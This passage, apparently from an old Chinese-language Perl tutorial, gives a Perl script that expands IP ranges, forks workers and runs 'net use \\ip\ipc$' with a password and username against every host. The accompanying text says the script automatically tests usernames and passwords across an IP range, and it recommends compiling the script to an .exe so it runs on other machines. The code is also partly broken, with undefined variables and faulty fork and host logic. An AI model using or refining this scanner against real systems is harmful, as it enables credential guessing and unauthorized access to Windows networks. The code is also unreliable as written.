my $host;
$|=1;
for $host (@hosts){
$_=shift(@hosts);
# scan a class C
if(/^([^.]+)\.([^.]+)\.([^.]+)$/){
my $i;
print "Expanding class C $_\n" if($DEBUG);
for($i=1;$i<255;$i++){
my $thost="$_.$i";
push @hosts,$thost;
}
}
else{
push @hosts,$_;
}
}
my @pids;
my $npids=0;
for $host (@hosts){
my $pid;
$pid=fork();
if($pid>0){
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}else{
my($proto,$port,$sin,$ip);
print "Trying $host\n" if ($DEBUG);
$0="(checking $host)";
# kill thread on timeout
local $SIG{'ALRM'} = sub { exit(0); };
while ($host < 256)
{
print ("net use \\\\$netaddress.$host\\ipc\$ $password /username");
print ("\n\n");
system ("net use \\\\$netaddress.$host\\ipc\$ $password /username");
#调用系统 net use \\ip 密码 用户名
$host++;
}
######################################################################
上面这个程序充分利用了NT本身的一些命令,自动的对指定ip范围内做用户名和密码的校验。由于时间仓促我写的很简单,我想你可以做的更好,如果你有更好的想法欢迎你能来信探讨goodwell@263.net。
怎么把写好的pl在其他机器上使用
这里有一个很好的办法,你可以把你写好的perl程序TO exe
你可以到这个地址http://www.indigostar.com/p2x56.zip 下一个
perl2exe 然后编译成exe文件。著名的NT扫描软件gnti.exe就是perl2exe编写的,希望不久的将来你也能写出一个经典的scanner or bot!
在此我想说明的我不是在教你如何去使用perl或写出scan for perl给大家使用,我真心的希望更多的人能去学习她,用她来编写出自己的列子more &more 。
最后用perl之父的一句话来结束我们的学习
解决问题的方法不止一种!